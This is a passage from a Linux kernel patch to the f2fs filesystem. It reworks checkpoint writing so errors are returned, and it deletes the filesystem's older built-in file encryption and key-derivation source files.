(is_sbi_flag_set(sbi, SBI_NEED_FSCK)) + __set_ckpt_flags(ckpt, CP_FSCK_FLAG); + + /* set this flag to activate crc|cp_ver for recovery */ + __set_ckpt_flags(ckpt, CP_CRC_RECOVERY_FLAG); + + spin_unlock(&sbi->cp_lock); +} + +static int do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); - struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); struct f2fs_nm_info *nm_i = NM_I(sbi); unsigned long orphan_num = sbi->im[ORPHAN_INO].ino_num; nid_t last_nid = nm_i->next_scan_nid; @@ -932,21 +1056,15 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) __u32 crc32 = 0; int i; int cp_payload_blks = __cp_payload(sbi); - block_t discard_blk = NEXT_FREE_BLKADDR(sbi, curseg); - bool invalidate = false; - - /* - * This avoids to conduct wrong roll-forward operations and uses - * metapages, so should be called prior to sync_meta_pages below. - */ - if (discard_next_dnode(sbi, discard_blk)) - invalidate = true; + struct super_block *sb = sbi->sb; + struct curseg_info *seg_i = CURSEG_I(sbi, CURSEG_HOT_NODE); + u64 kbytes_written; /* Flush all the NAT/SIT pages */ while (get_pages(sbi, F2FS_DIRTY_META)) { sync_meta_pages(sbi, META, LONG_MAX); if (unlikely(f2fs_cp_error(sbi))) - return; + return -EIO; } next_free_nid(sbi, &last_nid); @@ -981,10 +1099,12 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) /* 2 cp + n data seg summary + orphan inode blocks */ data_sum_blocks = npages_for_summary_flush(sbi, false); + spin_lock(&sbi->cp_lock); if (data_sum_blocks < NR_CURSEG_DATA_TYPE) - set_ckpt_flags(ckpt, CP_COMPACT_SUM_FLAG); + __set_ckpt_flags(ckpt, CP_COMPACT_SUM_FLAG); else - clear_ckpt_flags(ckpt, CP_COMPACT_SUM_FLAG); + __clear_ckpt_flags(ckpt, CP_COMPACT_SUM_FLAG); + spin_unlock(&sbi->cp_lock); orphan_blocks = GET_ORPHAN_BLOCKS(orphan_num); ckpt->cp_pack_start_sum = cpu_to_le32(1 + cp_payload_blks + @@ -999,39 +1119,24 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) cp_payload_blks + data_sum_blocks + orphan_blocks); - if (cpc->reason == CP_UMOUNT) - set_ckpt_flags(ckpt, CP_UMOUNT_FLAG); - else - clear_ckpt_flags(ckpt, CP_UMOUNT_FLAG); - - if (cpc->reason == CP_FASTBOOT) - set_ckpt_flags(ckpt, CP_FASTBOOT_FLAG); - else - clear_ckpt_flags(ckpt, CP_FASTBOOT_FLAG); - - if (orphan_num) - set_ckpt_flags(ckpt, CP_ORPHAN_PRESENT_FLAG); - else - clear_ckpt_flags(ckpt, CP_ORPHAN_PRESENT_FLAG); - - if (is_sbi_flag_set(sbi, SBI_NEED_FSCK)) - set_ckpt_flags(ckpt, CP_FSCK_FLAG); + /* update ckpt flag for checkpoint */ + update_ckpt_flags(sbi, cpc); /* update SIT/NAT bitmap */ get_sit_bitmap(sbi, __bitmap_ptr(sbi, SIT_BITMAP)); get_nat_bitmap(sbi, __bitmap_ptr(sbi, NAT_BITMAP)); - crc32 = f2fs_crc32(ckpt, le32_to_cpu(ckpt->checksum_offset)); + crc32 = f2fs_crc32(sbi, ckpt, le32_to_cpu(ckpt->checksum_offset)); *((__le32 *)((unsigned char *)ckpt + le32_to_cpu(ckpt->checksum_offset))) = cpu_to_le32(crc32); - start_blk = __start_cp_addr(sbi); + start_blk = __start_cp_next_addr(sbi); /* need to wait for end_io results */ wait_on_all_pages_writeback(sbi); if (unlikely(f2fs_cp_error(sbi))) - return; + return -EIO; /* write out checkpoint buffer at block 0 */ update_meta_page(sbi, ckpt, start_blk++); @@ -1047,6 +1152,14 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) write_data_summaries(sbi, start_blk); start_blk += data_sum_blocks; + + /* Record write statistics in the hot node summary */ + kbytes_written = sbi->kbytes_written; + if (sb->s_bdev->bd_part) + kbytes_written += BD_PART_WRITTEN(sbi); + + seg_i->journal->info.kbytes_written = cpu_to_le64(kbytes_written); + if (__remain_node_summaries(cpc->reason)) { write_node_summaries(sbi, start_blk); start_blk += NR_CURSEG_NODE_TYPE; @@ -1059,14 +1172,14 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) wait_on_all_pages_writeback(sbi); if (unlikely(f2fs_cp_error(sbi))) - return; + return -EIO; - filemap_fdatawait_range(NODE_MAPPING(sbi), 0, LONG_MAX); - filemap_fdatawait_range(META_MAPPING(sbi), 0, LONG_MAX); + filemap_fdatawait_range(NODE_MAPPING(sbi), 0, LLONG_MAX); + filemap_fdatawait_range(META_MAPPING(sbi), 0, LLONG_MAX); /* update user_block_counts */ sbi->last_valid_block_count = sbi->total_valid_block_count; - sbi->alloc_valid_block_count = 0; + percpu_counter_set(&sbi->alloc_valid_block_count, 0); /* Here, we only have one bio having CP pack */ sync_meta_pages(sbi, META_FLUSH, LONG_MAX); @@ -1074,30 +1187,36 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) /* wait for previous submitted meta pages writeback */ wait_on_all_pages_writeback(sbi); - /* - * invalidate meta page which is used temporarily for zeroing out - * block at the end of warm node chain. - */ - if (invalidate) - invalidate_mapping_pages(META_MAPPING(sbi), discard_blk, - discard_blk); - - release_dirty_inode(sbi); + release_ino_entry(sbi, false); if (unlikely(f2fs_cp_error(sbi))) - return; + return -EIO; - clear_prefree_segments(sbi, cpc); clear_sbi_flag(sbi, SBI_IS_DIRTY); + clear_sbi_flag(sbi, SBI_NEED_CP); + __set_cp_next_pack(sbi); + + /* + * redirty superblock if metadata like node page or inode cache is + * updated during writing checkpoint. + */ + if (get_pages(sbi, F2FS_DIRTY_NODES) || + get_pages(sbi, F2FS_DIRTY_IMETA)) + set_sbi_flag(sbi, SBI_IS_DIRTY); + + f2fs_bug_on(sbi, get_pages(sbi, F2FS_DIRTY_DENTS)); + + return 0; } /* * We guarantee that this checkpoint procedure will not fail. */ -void write_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) +int write_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); unsigned long long ckpt_ver; + int err = 0; mutex_lock(&sbi->cp_mutex); @@ -1105,21 +1224,35 @@ void write_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) (cpc->reason == CP_FASTBOOT || cpc->reason == CP_SYNC || (cpc->reason == CP_DISCARD && !sbi->discard_blks))) goto out; - if (unlikely(f2fs_cp_error(sbi))) + if (unlikely(f2fs_cp_error(sbi))) { + err = -EIO; goto out; - if (f2fs_readonly(sbi->sb)) + } + if (f2fs_readonly(sbi->sb)) { + err = -EROFS; goto out; + } trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "start block_ops"); - if (block_operations(sbi)) + err = block_operations(sbi); + if (err) goto out; trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "finish block_ops"); - f2fs_submit_merged_bio(sbi, DATA, WRITE); - f2fs_submit_merged_bio(sbi, NODE, WRITE); - f2fs_submit_merged_bio(sbi, META, WRITE); + f2fs_flush_merged_bios(sbi); + + /* this is the case of multiple fstrims without any changes */ + if (cpc->reason == CP_DISCARD && !is_sbi_flag_set(sbi, SBI_IS_DIRTY)) { + f2fs_bug_on(sbi, NM_I(sbi)->dirty_nat_cnt); + f2fs_bug_on(sbi, SIT_I(sbi)->dirty_sentries); + f2fs_bug_on(sbi, prefree_segments(sbi)); + flush_sit_entries(sbi, cpc); + clear_prefree_segments(sbi, cpc); + unblock_operations(sbi); + goto out; + } /* * update checkpoint pack index @@ -1134,7 +1267,12 @@ void write_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) flush_sit_entries(sbi, cpc); /* unlock all the fs_lock[] in do_checkpoint() */ - do_checkpoint(sbi, cpc); + err = do_checkpoint(sbi, cpc); + + if (err) + release_discard_addrs(sbi); + else + clear_prefree_segments(sbi, cpc); unblock_operations(sbi); stat_inc_cp_count(sbi->stat_info); @@ -1144,10 +1282,11 @@ void write_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) "checkpoint: version = %llx", ckpt_ver); /* do checkpoint periodically */ - sbi->cp_expires = round_jiffies_up(jiffies + HZ * sbi->cp_interval); + f2fs_update_time(sbi, CP_TIME); + trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "finish checkpoint"); out: mutex_unlock(&sbi->cp_mutex); - trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "finish checkpoint"); + return err; } void init_ino_entry_info(struct f2fs_sb_info *sbi) diff --git a/fs/f2fs/crypto.c b/fs/f2fs/crypto.c deleted file mode 100644 index 4a62ef14e9327..0000000000000 --- a/fs/f2fs/crypto.c +++ /dev/null @@ -1,491 +0,0 @@ -/* - * linux/fs/f2fs/crypto.c - * - * Copied from linux/fs/ext4/crypto.c - * - * Copyright (C) 2015, Google, Inc. - * Copyright (C) 2015, Motorola Mobility - * - * This contains encryption functions for f2fs - * - * Written by Michael Halcrow, 2014. - * - * Filename encryption additions - * Uday Savagaonkar, 2014 - * Encryption policy handling additions - * Ildar Muslukhov, 2014 - * Remove ext4_encrypted_zeroout(), - * add f2fs_restore_and_release_control_page() - * Jaegeuk Kim, 2015. - * - * This has not yet undergone a rigorous security audit. - * - * The usage of AES-XTS should conform to recommendations in NIST - * Special Publication 800-38E and IEEE P1619/D16. - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "f2fs.h" -#include "xattr.h" - -/* Encryption added and removed here! (L: */ - -static unsigned int num_prealloc_crypto_pages = 32; -static unsigned int num_prealloc_crypto_ctxs = 128; - -module_param(num_prealloc_crypto_pages, uint, 0444); -MODULE_PARM_DESC(num_prealloc_crypto_pages, - "Number of crypto pages to preallocate"); -module_param(num_prealloc_crypto_ctxs, uint, 0444); -MODULE_PARM_DESC(num_prealloc_crypto_ctxs, - "Number of crypto contexts to preallocate"); - -static mempool_t *f2fs_bounce_page_pool; - -static LIST_HEAD(f2fs_free_crypto_ctxs); -static DEFINE_SPINLOCK(f2fs_crypto_ctx_lock); - -static struct workqueue_struct *f2fs_read_workqueue; -static DEFINE_MUTEX(crypto_init); - -static struct kmem_cache *f2fs_crypto_ctx_cachep; -struct kmem_cache *f2fs_crypt_info_cachep; - -/** - * f2fs_release_crypto_ctx() - Releases an encryption context - * @ctx: The encryption context to release. - * - * If the encryption context was allocated from the pre-allocated pool, returns - * it to that pool. Else, frees it. - * - * If there's a bounce page in the context, this frees that. - */ -void f2fs_release_crypto_ctx(struct f2fs_crypto_ctx *ctx) -{ - unsigned long flags; - - if (ctx->flags & F2FS_WRITE_PATH_FL && ctx->w.bounce_page) { - mempool_free(ctx->w.bounce_page, f2fs_bounce_page_pool); - ctx->w.bounce_page = NULL; - } - ctx->w.control_page = NULL; - if (ctx->flags & F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL) { - kmem_cache_free(f2fs_crypto_ctx_cachep, ctx); - } else { - spin_lock_irqsave(&f2fs_crypto_ctx_lock, flags); - list_add(&ctx->free_list, &f2fs_free_crypto_ctxs); - spin_unlock_irqrestore(&f2fs_crypto_ctx_lock, flags); - } -} - -/** - * f2fs_get_crypto_ctx() - Gets an encryption context - * @inode: The inode for which we are doing the crypto - * - * Allocates and initializes an encryption context. - * - * Return: An allocated and initialized encryption context on success; error - * value or NULL otherwise. - */ -struct f2fs_crypto_ctx *f2fs_get_crypto_ctx(struct inode *inode) -{ - struct f2fs_crypto_ctx *ctx = NULL; - unsigned long flags; - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; - - if (ci == NULL) - return ERR_PTR(-ENOKEY); - - /* - * We first try getting the ctx from a free list because in - * the common case the ctx will have an allocated and - * initialized crypto tfm, so it's probably a worthwhile - * optimization. For the bounce page, we first try getting it - * from the kernel allocator because that's just about as fast - * as getting it from a list and because a cache of free pages - * should generally be a "last resort" option for a filesystem - * to be able to do its job. - */ - spin_lock_irqsave(&f2fs_crypto_ctx_lock, flags); - ctx = list_first_entry_or_null(&f2fs_free_crypto_ctxs, - struct f2fs_crypto_ctx, free_list); - if (ctx) - list_del(&ctx->free_list); - spin_unlock_irqrestore(&f2fs_crypto_ctx_lock, flags); - if (!ctx) { - ctx = kmem_cache_zalloc(f2fs_crypto_ctx_cachep, GFP_NOFS); - if (!ctx) - return ERR_PTR(-ENOMEM); - ctx->flags |= F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL; - } else { - ctx->flags &= ~F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL; - } - ctx->flags &= ~F2FS_WRITE_PATH_FL; - return ctx; -} - -/* - * Call f2fs_decrypt on every single page, reusing the encryption - * context. - */ -static void completion_pages(struct work_struct *work) -{ - struct f2fs_crypto_ctx *ctx = - container_of(work, struct f2fs_crypto_ctx, r.work); - struct bio *bio = ctx->r.bio; - struct bio_vec *bv; - int i; - - bio_for_each_segment_all(bv, bio, i) { - struct page *page = bv->bv_page; - int ret = f2fs_decrypt(ctx, page); - - if (ret) { - WARN_ON_ONCE(1); - SetPageError(page); - } else - SetPageUptodate(page); - unlock_page(page); - } - f2fs_release_crypto_ctx(ctx); - bio_put(bio); -} - -void f2fs_end_io_crypto_work(struct f2fs_crypto_ctx *ctx, struct bio *bio) -{ - INIT_WORK(&ctx->r.work, completion_pages); - ctx->r.bio = bio; - queue_work(f2fs_read_workqueue, &ctx->r.work); -} - -static void f2fs_crypto_destroy(void) -{ - struct f2fs_crypto_ctx *pos, *n; - - list_for_each_entry_safe(pos, n, &f2fs_free_crypto_ctxs, free_list) - kmem_cache_free(f2fs_crypto_ctx_cachep, pos); - INIT_LIST_HEAD(&f2fs_free_crypto_ctxs); - if (f2fs_bounce_page_pool) - mempool_destroy(f2fs_bounce_page_pool); - f2fs_bounce_page_pool = NULL; -} - -/** - * f2fs_crypto_initialize() - Set up for f2fs encryption. - * - * We only call this when we start accessing encrypted files, since it - * results in memory getting allocated that wouldn't otherwise be used. - * - * Return: Zero on success, non-zero otherwise. - */ -int f2fs_crypto_initialize(void) -{ - int i, res = -ENOMEM; - - if (f2fs_bounce_page_pool) - return 0; - - mutex_lock(&crypto_init); - if (f2fs_bounce_page_pool) - goto already_initialized; - - for (i = 0; i < num_prealloc_crypto_ctxs; i++) { - struct f2fs_crypto_ctx *ctx; - - ctx = kmem_cache_zalloc(f2fs_crypto_ctx_cachep, GFP_KERNEL); - if (!ctx) - goto fail; - list_add(&ctx->free_list, &f2fs_free_crypto_ctxs); - } - - /* must be allocated at the last step to avoid race condition above */ - f2fs_bounce_page_pool = - mempool_create_page_pool(num_prealloc_crypto_pages, 0); - if (!f2fs_bounce_page_pool) - goto fail; - -already_initialized: - mutex_unlock(&crypto_init); - return 0; -fail: - f2fs_crypto_destroy(); - mutex_unlock(&crypto_init); - return res; -} - -/** - * f2fs_exit_crypto() - Shutdown the f2fs encryption system - */ -void f2fs_exit_crypto(void) -{ - f2fs_crypto_destroy(); - - if (f2fs_read_workqueue) - destroy_workqueue(f2fs_read_workqueue); - if (f2fs_crypto_ctx_cachep) - kmem_cache_destroy(f2fs_crypto_ctx_cachep); - if (f2fs_crypt_info_cachep) - kmem_cache_destroy(f2fs_crypt_info_cachep); -} - -int __init f2fs_init_crypto(void) -{ - int res = -ENOMEM; - - f2fs_read_workqueue = alloc_workqueue("f2fs_crypto", WQ_HIGHPRI, 0); - if (!f2fs_read_workqueue) - goto fail; - - f2fs_crypto_ctx_cachep = KMEM_CACHE(f2fs_crypto_ctx, - SLAB_RECLAIM_ACCOUNT); - if (!f2fs_crypto_ctx_cachep) - goto fail; - - f2fs_crypt_info_cachep = KMEM_CACHE(f2fs_crypt_info, - SLAB_RECLAIM_ACCOUNT); - if (!f2fs_crypt_info_cachep) - goto fail; - - return 0; -fail: - f2fs_exit_crypto(); - return res; -} - -void f2fs_restore_and_release_control_page(struct page **page) -{ - struct f2fs_crypto_ctx *ctx; - struct page *bounce_page; - - /* The bounce data pages are unmapped. */ - if ((*page)->mapping) - return; - - /* The bounce data page is unmapped. */ - bounce_page = *page; - ctx = (struct f2fs_crypto_ctx *)page_private(bounce_page); - - /* restore control page */ - *page = ctx->w.control_page; - - f2fs_restore_control_page(bounce_page); -} - -void f2fs_restore_control_page(struct page *data_page) -{ - struct f2fs_crypto_ctx *ctx = - (struct f2fs_crypto_ctx *)page_private(data_page); - - set_page_private(data_page, (unsigned long)NULL); - ClearPagePrivate(data_page); - unlock_page(data_page); - f2fs_release_crypto_ctx(ctx); -} - -/** - * f2fs_crypt_complete() - The completion callback for page encryption - * @req: The asynchronous encryption request context - * @res: The result of the encryption operation - */ -static void f2fs_crypt_complete(struct crypto_async_request *req, int res) -{ - struct f2fs_completion_result *ecr = req->data; - - if (res == -EINPROGRESS) - return; - ecr->res = res; - complete(&ecr->completion); -} - -typedef enum { - F2FS_DECRYPT = 0, - F2FS_ENCRYPT, -} f2fs_direction_t; - -static int f2fs_page_crypto(struct f2fs_crypto_ctx *ctx, - struct inode *inode, - f2fs_direction_t rw, - pgoff_t index, - struct page *src_page, - struct page *dest_page) -{ - u8 xts_tweak[F2FS_XTS_TWEAK_SIZE]; - struct ablkcipher_request *req = NULL; - DECLARE_F2FS_COMPLETION_RESULT(ecr); - struct scatterlist dst, src; - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; - struct crypto_ablkcipher *tfm = ci->ci_ctfm; - int res = 0; - - req = ablkcipher_request_alloc(tfm, GFP_NOFS); - if (!req) { - printk_ratelimited(KERN_ERR - "%s: crypto_request_alloc() failed\n", - __func__); - return -ENOMEM; - } - ablkcipher_request_set_callback( - req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, - f2fs_crypt_complete, &ecr); - - BUILD_BUG_ON(F2FS_XTS_TWEAK_SIZE < sizeof(index)); - memcpy(xts_tweak, &index, sizeof(index)); - memset(&xts_tweak[sizeof(index)], 0, - F2FS_XTS_TWEAK_SIZE - sizeof(index)); - - sg_init_table(&dst, 1); - sg_set_page(&dst, dest_page, PAGE_CACHE_SIZE, 0); - sg_init_table(&src, 1); - sg_set_page(&src, src_page, PAGE_CACHE_SIZE, 0); - ablkcipher_request_set_crypt(req, &src, &dst, PAGE_CACHE_SIZE, - xts_tweak); - if (rw == F2FS_DECRYPT) - res = crypto_ablkcipher_decrypt(req); - else - res = crypto_ablkcipher_encrypt(req); - if (res == -EINPROGRESS || res == -EBUSY) { - BUG_ON(req->base.data != &ecr); - wait_for_completion(&ecr.completion); - res = ecr.res; - } - ablkcipher_request_free(req); - if (res) { - printk_ratelimited(KERN_ERR - "%s: crypto_ablkcipher_encrypt() returned %d\n", - __func__, res); - return res; - } - return 0; -} - -static struct page *alloc_bounce_page(struct f2fs_crypto_ctx *ctx) -{ - ctx->w.bounce_page = mempool_alloc(f2fs_bounce_page_pool, GFP_NOWAIT); - if (ctx->w.bounce_page == NULL) - return ERR_PTR(-ENOMEM); - ctx->flags |= F2FS_WRITE_PATH_FL; - return ctx->w.bounce_page; -} - -/** - * f2fs_encrypt() - Encrypts a page - * @inode: The inode for which the encryption should take place - * @plaintext_page: The page to encrypt. Must be locked. - * - * Allocates a ciphertext page and encrypts plaintext_page into it using the ctx - * encryption context. - * - * Called on the page write path. The caller must call - * f2fs_restore_control_page() on the returned ciphertext page to - * release the bounce buffer and the encryption context. - * - * Return: An allocated page with the encrypted content on success. Else, an - * error value or NULL. - */ -struct page *f2fs_encrypt(struct inode *inode, - struct page *plaintext_page) -{ - struct f2fs_crypto_ctx *ctx; - struct page *ciphertext_page = NULL; - int err; - - BUG_ON(!PageLocked(plaintext_page)); - - ctx = f2fs_get_crypto_ctx(inode); - if (IS_ERR(ctx)) - return (struct page *)ctx; - - /* The encryption operation will require a bounce page. */ - ciphertext_page = alloc_bounce_page(ctx); - if (IS_ERR(ciphertext_page)) - goto err_out; - - ctx->w.control_page = plaintext_page; - err = f2fs_page_crypto(ctx, inode, F2FS_ENCRYPT, plaintext_page->index, - plaintext_page, ciphertext_page); - if (err) { - ciphertext_page = ERR_PTR(err); - goto err_out; - } - - SetPagePrivate(ciphertext_page); - set_page_private(ciphertext_page, (unsigned long)ctx); - lock_page(ciphertext_page); - return ciphertext_page; - -err_out: - f2fs_release_crypto_ctx(ctx); - return ciphertext_page; -} - -/** - * f2fs_decrypt() - Decrypts a page in-place - * @ctx: The encryption context. - * @page: The page to decrypt. Must be locked. - * - * Decrypts page in-place using the ctx encryption context. - * - * Called from the read completion callback. - * - * Return: Zero on success, non-zero otherwise. - */ -int f2fs_decrypt(struct f2fs_crypto_ctx *ctx, struct page *page) -{ - BUG_ON(!PageLocked(page)); - - return f2fs_page_crypto(ctx, page->mapping->host, - F2FS_DECRYPT, page->index, page, page); -} - -/* - * Convenience function which takes care of allocating and - * deallocating the encryption context - */ -int f2fs_decrypt_one(struct inode *inode, struct page *page) -{ - struct f2fs_crypto_ctx *ctx = f2fs_get_crypto_ctx(inode); - int ret; - - if (IS_ERR(ctx)) - return PTR_ERR(ctx); - ret = f2fs_decrypt(ctx, page); - f2fs_release_crypto_ctx(ctx); - return ret; -} - -bool f2fs_valid_contents_enc_mode(uint32_t mode) -{ - return (mode == F2FS_ENCRYPTION_MODE_AES_256_XTS); -} - -/** - * f2fs_validate_encryption_key_size() - Validate the encryption key size - * @mode: The key mode. - * @size: The key size to validate. - * - * Return: The validated key size for @mode. Zero if invalid. - */ -uint32_t f2fs_validate_encryption_key_size(uint32_t mode, uint32_t size) -{ - if (size == f2fs_encryption_key_size(mode)) - return size; - return 0; -} diff --git a/fs/f2fs/crypto_key.c b/fs/f2fs/crypto_key.c deleted file mode 100644 index 9f77de2ef317e..0000000000000 --- a/fs/f2fs/crypto_key.c +++ /dev/null @@ -1,254 +0,0 @@ -/* - * linux/fs/f2fs/crypto_key.c - * - * Copied from linux/fs/f2fs/crypto_key.c - * - * Copyright (C) 2015, Google, Inc. - * - * This contains encryption key functions for f2fs - * - * Written by Michael Halcrow, Ildar Muslukhov, and Uday Savagaonkar, 2015. - */ -#include -#include -#include -#include -#include -#include -#include - -#include "f2fs.h" -#include "xattr.h" - -static void derive_crypt_complete(struct crypto_async_request *req, int rc) -{ - struct f2fs_completion_result *ecr = req->data; - - if (rc == -EINPROGRESS) - return; - - ecr->res = rc; - complete(&ecr->completion); -} - -/** - * f2fs_derive_key_aes() - Derive a key using AES-128-ECB - * @deriving_key: Encryption key used for derivatio. - * @source_key: Source key to which to apply derivation. - * @derived_key: Derived key. - * - * Return: Zero on success; non-zero otherwise. - */ -static int f2fs_derive_key_aes(char deriving_key[F2FS_AES_128_ECB_KEY_SIZE], - char source_key[F2FS_AES_256_XTS_KEY_SIZE], - char derived_key[F2FS_AES_256_XTS_KEY_SIZE]) -{ - int res = 0; - struct ablkcipher_request *req = NULL; - DECLARE_F2FS_COMPLETION_RESULT(ecr); - struct scatterlist src_sg, dst_sg; - struct crypto_ablkcipher *tfm = crypto_alloc_ablkcipher("ecb(aes)", 0, - 0); - - if (IS_ERR(tfm)) { - res = PTR_ERR(tfm); - tfm = NULL; - goto out; - } - crypto_ablkcipher_set_flags(tfm, CRYPTO_TFM_REQ_WEAK_KEY); - req = ablkcipher_request_alloc(tfm, GFP_NOFS); - if (!req) { - res = -ENOMEM; - goto out; - } - ablkcipher_request_set_callback(req, - CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, - derive_crypt_complete, &ecr); - res = crypto_ablkcipher_setkey(tfm, deriving_key, - F2FS_AES_128_ECB_KEY_SIZE); - if (res < 0) - goto out; - - sg_init_one(&src_sg, source_key, F2FS_AES_256_XTS_KEY_SIZE); - sg_init_one(&dst_sg, derived_key, F2FS_AES_256_XTS_KEY_SIZE); - ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, - F2FS_AES_256_XTS_KEY_SIZE, NULL); - res = crypto_ablkcipher_encrypt(req); - if (res == -EINPROGRESS || res == -EBUSY) { - BUG_ON(req->base.data != &ecr); - wait_for_completion(&ecr.completion); - res = ecr.res; - } -out: - if (req) - ablkcipher_request_free(req); - if (tfm) - crypto_free_ablkcipher(tfm); - return res; -} - -static void f2fs_free_crypt_info(struct f2fs_crypt_info *ci) -{ - if (!ci) - return; - - key_put(ci->ci_keyring_key); - crypto_free_ablkcipher(ci->ci_ctfm); - kmem_cache_free(f2fs_crypt_info_cachep, ci); -} - -void f2fs_free_encryption_info(struct inode *inode, struct f2fs_crypt_info *ci) -{ - struct f2fs_inode_info *fi = F2FS_I(inode); - struct f2fs_crypt_info *prev; - - if (ci == NULL) - ci = ACCESS_ONCE(fi->i_crypt_info); - if (ci == NULL) - return; - prev = cmpxchg(&fi->i_crypt_info, ci, NULL); - if (prev != ci) - return; - - f2fs_free_crypt_info(ci); -} - -int _f2fs_get_encryption_info(struct inode *inode) -{ - struct f2fs_inode_info *fi = F2FS_I(inode); - struct f2fs_crypt_info *crypt_info; - char full_key_descriptor[F2FS_KEY_DESC_PREFIX_SIZE + - (F2FS_KEY_DESCRIPTOR_SIZE * 2) + 1]; - struct key *keyring_key = NULL; - struct f2fs_encryption_key *master_key; - struct f2fs_encryption_context ctx; - struct user_key_payload *ukp; - struct crypto_ablkcipher *ctfm; - const char *cipher_str; - char raw_key[F2FS_MAX_KEY_SIZE]; - char mode; - int res; - - res = f2fs_crypto_initialize(); - if (res) - return res; -retry: - crypt_info = ACCESS_ONCE(fi->i_crypt_info); - if (crypt_info) { - if (!crypt_info->ci_keyring_key || - key_validate(crypt_info->ci_keyring_key) == 0) - return 0; - f2fs_free_encryption_info(inode, crypt_info); - goto retry; - } - - res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, - F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, - &ctx, sizeof(ctx), NULL); - if (res < 0) - return res; - else if (res != sizeof(ctx)) - return -EINVAL; - res = 0; - - crypt_info = kmem_cache_alloc(f2fs_crypt_info_cachep, GFP_NOFS); - if (!crypt_info) - return -ENOMEM; - - crypt_info->ci_flags = ctx.flags; - crypt_info->ci_data_mode = ctx.contents_encryption_mode; - crypt_info->ci_filename_mode = ctx.filenames_encryption_mode; - crypt_info->ci_ctfm = NULL; - crypt_info->ci_keyring_key = NULL; - memcpy(crypt_info->ci_master_key, ctx.master_key_descriptor, - sizeof(crypt_info->ci_master_key)); - if (S_ISREG(inode->i_mode)) - mode = crypt_info->ci_data_mode; - else if (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode)) - mode = crypt_info->ci_filename_mode; - else - BUG(); - - switch (mode) { - case F2FS_ENCRYPTION_MODE_AES_256_XTS: - cipher_str = "xts(aes)"; - break; - case F2FS_ENCRYPTION_MODE_AES_256_CTS: - cipher_str = "cts(cbc(aes))"; - break; - default: - printk_once(KERN_WARNING - "f2fs: unsupported key mode %d (ino %u)\n", - mode, (unsigned) inode->i_ino); - res = -ENOKEY; - goto out; - } - - memcpy(full_key_descriptor, F2FS_KEY_DESC_PREFIX, - F2FS_KEY_DESC_PREFIX_SIZE); - sprintf(full_key_descriptor + F2FS_KEY_DESC_PREFIX_SIZE, - "%*phN", F2FS_KEY_DESCRIPTOR_SIZE, - ctx.master_key_descriptor); - full_key_descriptor[F2FS_KEY_DESC_PREFIX_SIZE + - (2 * F2FS_KEY_DESCRIPTOR_SIZE)] = '\0'; - keyring_key = request_key(&key_type_logon, full_key_descriptor, NULL); - if (IS_ERR(keyring_key)) { - res = PTR_ERR(keyring_key); - keyring_key = NULL; - goto out; - } - crypt_info->ci_keyring_key = keyring_key; - BUG_ON(keyring_key->type != &key_type_logon); - ukp = ((struct user_key_payload *)keyring_key->payload.data); - if (ukp->datalen != sizeof(struct f2fs_encryption_key)) { - res = -EINVAL; - goto out; - } - master_key = (struct f2fs_encryption_key *)ukp->data; - BUILD_BUG_ON(F2FS_AES_128_ECB_KEY_SIZE != - F2FS_KEY_DERIVATION_NONCE_SIZE); - BUG_ON(master_key->size != F2FS_AES_256_XTS_KEY_SIZE); - res = f2fs_derive_key_aes(ctx.nonce, master_key->raw, - raw_key); - if (res) - goto out; - - ctfm = crypto_alloc_ablkcipher(cipher_str, 0, 0); - if (!ctfm || IS_ERR(ctfm)) { - res = ctfm ? PTR_ERR(ctfm) : -ENOMEM; - printk(KERN_DEBUG - "%s: error %d (inode %u) allocating crypto tfm\n", - __func__, res, (unsigned) inode->i_ino); - goto out; - } - crypt_info->ci_ctfm = ctfm; - crypto_ablkcipher_clear_flags(ctfm, ~0); - crypto_tfm_set_flags(crypto_ablkcipher_tfm(ctfm), - CRYPTO_TFM_REQ_WEAK_KEY); - res = crypto_ablkcipher_setkey(ctfm, raw_key, - f2fs_encryption_key_size(mode)); - if (res) - goto out; - - memzero_explicit(raw_key, sizeof(raw_key)); - if (cmpxchg(&fi->i_crypt_info, NULL, crypt_info) != NULL) { - f2fs_free_crypt_info(crypt_info); - goto retry; - } - return 0; - -out: - if (res == -ENOKEY && !S_ISREG(inode->i_mode)) - res = 0; - - f2fs_free_crypt_info(crypt_info); - memzero_explicit(raw_key, sizeof(raw_key)); - return res; -} - -int f2fs_has_encryption_key(struct inode *inode) -{ - struct f2fs_inode_info *fi = F2FS_I(inode); - - return (fi->i_crypt_info != NULL); -} diff --git a/fs/f2fs/crypto_policy.c b/fs/f2fs/crypto_policy.c deleted file mode 100644 index d4a96af513c22..0000000000000 --- 